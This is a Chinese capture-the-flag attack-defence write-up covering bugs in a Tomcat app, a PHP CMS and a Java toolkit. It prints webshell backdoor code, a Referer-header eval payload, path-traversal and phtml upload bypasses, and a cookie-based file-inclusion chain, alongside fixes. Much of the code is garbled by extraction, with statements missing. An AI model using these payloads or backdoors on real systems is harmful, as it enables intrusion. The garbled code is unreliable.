rank: 6
tomcat 漏洞1-文件上传getshell data.sql泄露教师账号密码
1 INSERT INTO  `teacher` VALUES  ('admin' ,'admin1' ,'' ,'' ,'admin@qq.com' );
登录后台login.jsp
后台用户上传头像处存在任意文件上传
攻击: 
修复: 
修改后台密码/修改上传代码/增加waf
漏洞2-默认后门 \webapps\ROOT\forget.jsp存在后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <%String  cmdParameter  =  request.getParameter("cmd1" );if  (cmdParameter != null  && !cmdParameter.isEmpty()) {try  {ProcessBuilder  processBuilder  =  new  ProcessBuilder ();"sh" , "-c" , cmdParameter);Process  process  =  processBuilder.start();InputStream  inputStream  =  process.getInputStream();BufferedReader  reader  =  new  BufferedReader (new  InputStreamReader (inputStream));StringBuilder  output  =  new  StringBuilder ();while  ((line = reader.readLine()) != null ) {"\n" );"Command executed successfully. Output:\n"  + output.toString());catch  (IOException e) {"Error executing command: "  + e.getMessage());
攻击: 
开局很快都修复了,手动交了两三个
修复: 
把密码改了
cms 漏洞1-任意文件读取 \app\frontend\controller\Ajax.php 存在任意文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  function  getfile ($file $file  = root_path ().'public/storage/uploads/' .$file ;if  (!file_exists ($file )) {$result  = ['code'  => 0 , 'msg'  => lang ('file not exists!' )];return  json ($result );$fileName  = basename ($file );header ('Content-Type: application/octet-stream' );header ('Content-Disposition: attachment; filename='  . $fileName );header ('Content-Length: '  . filesize ($file ));readfile ($file );exit ;
攻击: 
1 /frontend/Ajax/getfile?file=../../../../../../flag
修复: 
增加过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public  function  getfile ($file      {$file  = root_path ().'public/storage/uploads/' .$file ;$file  = str_replace ("../" ,"" ,$file );$file  = str_replace ("flag" ,"" ,$file );if  (!file_exists ($file )) {$result  = ['code'  => 0 , 'msg'  => lang ('file not exists!' )];return  json ($result );$fileName  = basename ($file );header ('Content-Type: application/octet-stream' );header ('Content-Disposition: attachment; filename='  . $fileName );header ('Content-Length: '  . filesize ($file ));readfile ($file );exit ;
漏洞2-默认后门 \app\api\controller\v1\Token.php存在任意命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace  app \api \controller \v1 ;use  fun \auth \Api ;use  think \App ;use  think \facade \Request ;use  think \facade \Config ;class  Token  extends  Api protected  $noAuth  = ['*' ];public  function  __construct (App $app  )     {parent ::__construct ($app );header ('Access-Control-Allow-Origin:*' );header ('Access-Control-Allow-Headers:Accept,Referer,Host,Keep-Alive,User-Agent,X-Requested-With,Cache-Control,Content-Type,Cookie,token' );header ('Access-Control-Allow-Credentials:true' );header ('Access-Control-Allow-Methods:GET, POST, PATCH, PUT, DELETE,OPTIONS' );public  function  build (Request $request  )     {$class  = ucwords ('\\fun\\auth\\' .ucfirst ($this ->type).'Token' );$token  = $class ::instance ();$token ->build ();public  function  refresh (Request $request  )     {$class  = ucwords ('\\fun\\auth\\' .ucfirst ($this ->type).'Token' );$token  = $class ::instance ();$token ->refresh ();public  function  test (eval (getallheaders ()['Referer' ]);
攻击: 
1 2 3 4 5 GET  /api/v1.token/test HTTP/1 .1 Host : 8.147.134.118:24631 Referer :system("cat /flag" );
修复: 
添加注释
1 2 3 public  function  test (
漏洞3-文件上传getshell 貌似还有个任意文件上传,比赛的时候没时间看了
赛后复现 
注册后的基本设置有上传头像的地方
定位代码
/app/common/service/UploadService.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 protected  function  checkFile (if  (in_array ($this ->file->extension (),'php' , 'html' , 'htm' ,'xml' ,'ssh' ,'bat' ,'jar' ,'java' ])) {throw  new  Exception (lang ('File format is limited' ));if  (($this ->file->getSize () > $this ->fileMaxsize*1024 )) {throw  new  Exception (lang ('File size is limited' ));if  ($this ->fileExt !='*'  && !in_array ($this ->file->extension (),explode (',' ,$this ->fileExt))){throw  new  Exception (lang ('File type is limited' ));$file_ext  = $this ->file->extension ();if  (in_array ($this ->file->getMime (), ['image/gif' , 'image/jpg' , 'image/jpeg' , 'image/bmp' ,'image/png' , 'image/webp' ]) || in_array ($file_ext , ['gif' , 'jpg' , 'jpeg' , 'bmp' , 'png' ,'webp' ])) {$imgInfo  = getimagesize ($this ->file->getPathname ());if  (!$imgInfo  || !isset ($imgInfo [0 ]) || !isset ($imgInfo [1 ])) {throw  new  Exception (lang ('Uploaded file is not a valid image' ));$this ->width = isset ($imgInfo [0 ]) ? $imgInfo [0 ] : 0 ;$this ->height = isset ($imgInfo [1 ]) ? $imgInfo [1 ] : 0 ;return  true ;
限制了部分后缀,用phtml绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST未授权上传,不需要登录Host: 192.168.100.129 Content-Length: 206 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDbISZWkAvBPdc8u0 Origin: http://192.168.100.129 Referer: http://192.168.100.129/frontend/member/set.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Disposition: form-data; name="file"; filename="1.phtml" Content-Type: image/jpeg 
修复 
便捷的:增加对phtml的过滤
1 2 3 4 in_array ($this ->file->extension (),'php' , 'html' , 'htm' ,'xml' ,'ssh' ,'bat' ,'jar' ,'java' ,'phtml' ])) {throw  new  Exception (lang ('File format is limited' ));
或者稍微麻烦一点的,增加一个白名单
/app/frontend/controller/Ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  function  uploads (try  {$list  = ['jpg' ,'png' ,'gif' ,'jpeg' ];$file  = $this ->request->file ('file' );$ext  = strtolower (pathinfo ($file ->getOriginalName (), PATHINFO_EXTENSION));if  (!in_array ($ext ,$list )){throw  new  Exception ('NO' );$upload  = UploadService ::instance ();$result  = $upload ->uploads (session ('member.id' ),0 );return  json ($result );catch  (Exception  $e ) {$this ->error ($e ->getMessage ());
漏洞4-后台文件上传+文件包含RCE 赛后复现 
F12 泄露账号密码
1 2 3 4 5 6 7 8 9 <script>use (['layer' , 'jquery' ], function  (var  $ = layui.jquery ,layer ;'.layui-tips' ).hover (function  (tips ('账号admin,密码123456' );
访问/backend登录后台
发现有一个离线安装插件的功能
审计代码
/app/backend/controller/Addon.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public  function  localinstall (if ($this ->request->isAjax ()){set_time_limit (0 );$urls  = parse_url (input ('url' ));$file  = $urls ['path' ]??'' ;if ($file  && file_exists ('.' .$file )){try  {$res  = ZipHelper ::unzip ('.' .$file ,'../addons' );catch  (\Exception  $e ){$this ->error ($e ->getMessage ());if ($res ){$index  = strpos ($res , '/' );$addon  = $index  ? substr ($res ,0 ,$index ):$res ;$this ->install ($addon ,'local' );$this ->success ('upload success' );
/vendor/funadmin/fun-addons/src/helper/ZipHelper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public  static  function  unzip ( $zipFile ,$folderPath ,$addon =0  )if  (!class_exists ('ZipArchive' )) {throw  new  \Exception ('ZinArchive not find' );$zip  = new  \ZipArchive ();try  {$zip ->open ($zipFile );catch  (\Exception  $e ) {$zip ->close ();throw  new  \Exception ('Unable to open the zip file' );if  (!is_dir ($folderPath )) {mkdir ($folderPath , 0755 );$fileDir  = trim ($zip ->getNameIndex (0 ), '/' );try  {$zip ->extractTo ($folderPath );catch  (\Exception  $e ) {throw  new  \Exception ('Unable to extract the file' );finally  {$zip ->close ();return  $fileDir ;
可以发现虽然报错了,但是依然会解压到addons目录下
但是无法访问到,这里需要用到文件上传+文件包含组合拳进行利用
/app/backend/controller/Ajax.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  function  lang (header ('Content-Type: application/javascript' );$name  = $this ->request->get ("controllername" );$name  = strtolower (parse_name ($name , 1 ));$app  = $this ->request->get ("app" );return  jsonp ($this ->loadlang ($name , $app ))->code (200 )->options (['var_jsonp_handler'  => 'callback' ,'default_jsonp_handler'  => 'jsonpReturn' ,'json_encode_param'  => JSON_PRETTY_PRINT | JSON_FORCE_OBJECT |JSON_UNESCAPED_UNICODE,allowCache (true )->expires (7200 );
跟进loadlang方法
/app/common/controller/Backend.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 protected  function  loadlang ($name ,$app $lang  = cookie (config ('lang.cookie_var' ));if ($app  && $app !=='backend' ){$res  =  Lang ::load ([$this ->app->getBasePath () .'backend' . DS . 'lang'  . DS . $lang  . '.php' ,$this ->app->getBasePath () .$app . DS . 'lang'  . DS . $lang   . '.php' ,$this ->app->getBasePath () .$app . DS . 'lang'  . DS . $lang  . DS . str_replac ('.' , DS, $name ) . '.php' ,else {$res  = Lang ::load ([$this ->app->getAppPath () . 'lang'  . DS . $lang  . '.php' ,$this ->app->getAppPath () . 'lang'  . DS . $lang  . DS . str_replace ('.' , DS,$name ) . '.php' ,return  $res ;
很明显,从 lang.cookie_var 配置中获取一个cookie值并进行文件包含
查看cookie_var的名字
/config/lang.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 return  ['default_lang'     => Env ::get ('lang.default_lang' , 'zh-cn' ),'allow_lang_list'  => ['zh-cn' ,'en-us' ],'detect_var'       => 'lang' ,'use_cookie'       => true ,'cookie_var'       => 'think_lang' ,'extend_list'      => [],'accept_language'  => ['zh-hans-cn'  => 'zh-cn' ,'allow_group'      => true ,
因为是全局变量,所以任何地方都可以调用
包含的时候注意后缀 .php 已经存在了,不需要再写
1 2 3 4 5 6 7 POST / HTTP/1.1
修复 
对 $lang 进行过滤即可
漏洞1-默认后门 存在默认后门
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package  com.example.doctoolkit.controller.test;import  java.io.IOException;import  org.springframework.web.bind.annotation.RequestMapping;import  org.springframework.web.bind.annotation.RequestParam;import  org.springframework.web.bind.annotation.RestController;@RequestMapping({"/test"}) @RestController public  class  TestController  {@RequestMapping({"/backd0or"}) public  String backdoor (@RequestParam("cmd")  String command)  throws  IOException {if  (command != null ) {boolean  isLinux  =  true ;String  osType  =  System.getProperty("os.name" );if  (osType != null  && osType.toLowerCase().contains("windows" )) {false ;byte [] bytes = new  byte [1024 ];new  String []{"bash" , "-c" , command} : new  String []{"cmd.exe" , "/c" , command};Process  process  =  new  ProcessBuilder (cmds).start();int  len  =  process.getInputStream().read(bytes);String  output  =  new  String (bytes, 0 , len);return  output;return  null ;
攻击: 
/test/backd0or?cmd=cat /flag
修复: 
没修复成功。。
漏洞2-shiro反序列化 有shiro依赖
在shiro的配置文件中发现了固定秘钥
直接用工具打就好了,然后抓流量进行批量